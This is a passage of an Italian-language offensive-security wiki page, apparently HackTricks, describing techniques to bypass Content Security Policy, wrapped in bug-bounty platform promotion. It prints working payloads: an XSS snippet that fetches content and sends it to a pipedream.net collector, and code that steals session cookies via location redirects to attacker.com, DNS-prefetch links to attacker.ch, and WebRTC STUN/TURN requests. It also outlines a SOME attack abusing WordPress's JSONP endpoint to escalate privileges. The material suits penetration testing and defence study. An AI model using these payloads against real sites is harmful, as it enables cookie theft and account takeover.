Ultime Comunicazioni Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Tecnologie Non Sicure per Bypassare il CSP

Sovraccarico del buffer di risposta PHP

PHP è noto per bufferizzare la risposta a 4096 byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo abbastanza dati negli avvisi, la risposta verrà inviata prima dell'intestazione CSP, causando l'ignoranza dell'intestazione. Quindi, la tecnica consiste essenzialmente nel riempire il buffer di risposta con avvisi in modo che l'intestazione CSP non venga inviata.

Idea da questo writeup.

Riscrivi la Pagina di Errore

Da questo writeup sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME è una tecnica che abusa di un XSS (o XSS altamente limitato) in un endpoint di una pagina per abusare di altri endpoint dello stesso origine. Questo viene fatto caricando l'endpoint vulnerabile da una pagina dell'attaccante e quindi aggiornando la pagina dell'attaccante all'endpoint reale nello stesso origine che si desidera abusare. In questo modo l'endpoint vulnerabile può utilizzare l'oggetto opener nel payload per accedere al DOM del vero endpoint da abusare. Per ulteriori informazioni controlla:

pageSOME - Same Origin Method Execution

Inoltre, wordpress ha un endpoint JSONP in /wp-json/wp/v2/users/1?_jsonp=data che rifletterà i dati inviati in output (con la limitazione di solo lettere, numeri e punti).

Un attaccante può abusare di quell'endpoint per generare un attacco SOME contro WordPress e incorporarlo all'interno di <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> nota che questo script verrà caricato perché è permesso da 'self'. Inoltre, e poiché WordPress è installato, un attaccante potrebbe abusare dell'attacco SOME attraverso l'endpoint di callback vulnerabile che bypassa il CSP per dare più privilegi a un utente, installare un nuovo plugin... Per ulteriori informazioni su come eseguire questo attacco controlla https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypass di Esfiltrazione CSP

Se c'è un CSP rigoroso che non ti permette di interagire con server esterni, ci sono alcune cose che puoi sempre fare per esfiltrare le informazioni.

Location

Potresti semplicemente aggiornare la posizione per inviare al server dell'attaccante le informazioni segrete:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Tag meta

Potresti reindirizzare iniettando un tag meta (questo è solo un reindirizzamento, non farà trapelare contenuti)

<meta http-equiv="refresh" content="1; http://attacker.com">

Prefetch del DNS

Per caricare le pagine più velocemente, i browser pre-risolvono i nomi host negli indirizzi IP e li memorizzano nella cache per utilizzi successivi. Puoi indicare a un browser di pre-risolvere un nome host con: <link rel="dns-prefetch" href="something.com">

Potresti abusare di questo comportamento per esfiltrare informazioni sensibili tramite richieste DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Un altro modo:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Per evitare che ciò accada, il server può inviare l'intestazione HTTP:

X-DNS-Prefetch-Control: off

Apparentemente, questa tecnica non funziona nei browser headless (bot)

WebRTC

Su diverse pagine puoi leggere che WebRTC non controlla la politica connect-src del CSP.

In realtà puoi leak informazioni utilizzando una richiesta DNS. Dai un'occhiata a questo codice:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Un'altra opzione:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Verifica delle Politiche CSP Online

Creazione Automatica di CSP

https://csper.io/docs/generating-content-security-policy

Riferimenti

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!

Insight sull'Hacking Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale

Ultime Novità Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated